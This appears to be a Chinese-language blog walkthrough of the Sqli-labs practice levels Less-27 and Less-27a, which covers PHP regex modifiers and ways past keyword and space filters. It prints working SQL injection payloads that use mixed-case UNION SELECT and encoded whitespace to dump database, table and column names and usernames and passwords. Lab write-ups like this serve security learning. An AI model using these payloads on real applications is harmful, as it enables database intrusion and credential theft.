Sqli-labs之Less-27和Less-27a

                                                 Less-27

基於錯誤_GET_過濾UNION/SELECT_單引號_字符型注入

測試注入字符類型:

?id=2'%26%26 '1'='1     (id=2的用戶說明帶括號,id=1的用戶說明帶括號)

由此得出,這是單引號字符型注入。(不帶小括號的

根據提示我們知道了,過濾了union和select,至於其他的還不清楚,要是一個一個試,太麻煩了,直接看源碼文件:

發現沒有過濾orand,過濾了幾個大小寫的unionselect但是可以用隨機大小寫繞過,過濾了--#以及/**/,過濾了兩次空格,過濾了/但沒過濾\
所以實際上只過濾了註釋空格,與 Less 26 相似。

這一關卡中涉及到了正則表達式中的模式修飾符

PHP正則表達式的模式修飾符(官方文檔)

或者:


如果設定此修正符,模式中的字符將同時匹配大小寫字母。


當設定了此修正符,“行起始”和“行結束”除了匹配整個字符串開頭和結束外,還分別匹配其中的換行符的之後和之前。


如果設定了此修正符,模式中的圓點元字符(.)匹配所有的字符,包括換行符。沒有此設定的話,則不包括換行符。


如果設定了此修正符,模式中的空白字符除了被轉義的或在字符類中的以外完全被忽略,在未轉義的字符類之外的 #以及下一個換行符之間的所有字符,包括兩頭,也都被忽略。


如果設定了此修正符,preg_replace() 在替換字符串中對逆向引用作正常的替換,

?在 . + 和 * 之後 表示非貪婪匹配: *、+和?限定符都是貪婪的,因爲它們會儘可能多的匹配文字,只有在它們的後面加上一個?就可以實現非貪婪或最小匹配。

綜上直接大小寫混合繞過即可:

注入方法類似於less-26,這裏介紹union聯合注入,其他方法自行嘗試:

這關可以用%a0代替空格,但這裏多了一種用/*%0a*/強行製造空格。
原理暫不清楚,但 Less 26 無法使用,也無法使用%0a 但有的人可以,可能跟環境的配置有關。

暴庫

?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,database(),2/*%0a*/||/*%0a*/'1'='1

爆表:

?id=0'%0aUnIoN%0aSeLeCt%0a1,(SeLeCt%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),3||'1

爆字段:

?id=0'%0buniOn%0bsElEct%0b1,(group_concat(column_name)),3%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%0bAnd%0btable_name='users'%0b%26%26%0b'1'='1

爆數據:

?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/1,(SeLeCt/*%0a*/group_concat(concat_ws('$',id,username,password))/*%0a*/from/*%0a*/users),3/*%0a*/||/*%0a*/'1'='1

提示::uniunionon 也是可以突破限制的。亦可以利用報錯注入和延時注入的語法進行注入。

 

 

=============== 分隔符==================

                                                     Less-27a

基於盲注_GET_過濾UNION/SELECT_雙引號_字符型

這一關沒什麼好說的,直接看源碼:

得出以下結論:

1.雙引號字符型注入

2.沒有錯誤回顯,不能進行報錯注入,即無法使用updatexml函數等,但可以進行布爾盲注,因爲他有無錯誤回顯,即正確和錯誤頁面返回的頁面不同。

3.可以使用union聯合注入,延時盲注。

這裏演示一下聯合注入,其他自行嘗試:

?id=0"%0buniOn%0bsElEct%0b1,database(),3%0bor%0b"1"="1  

。。。

完。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章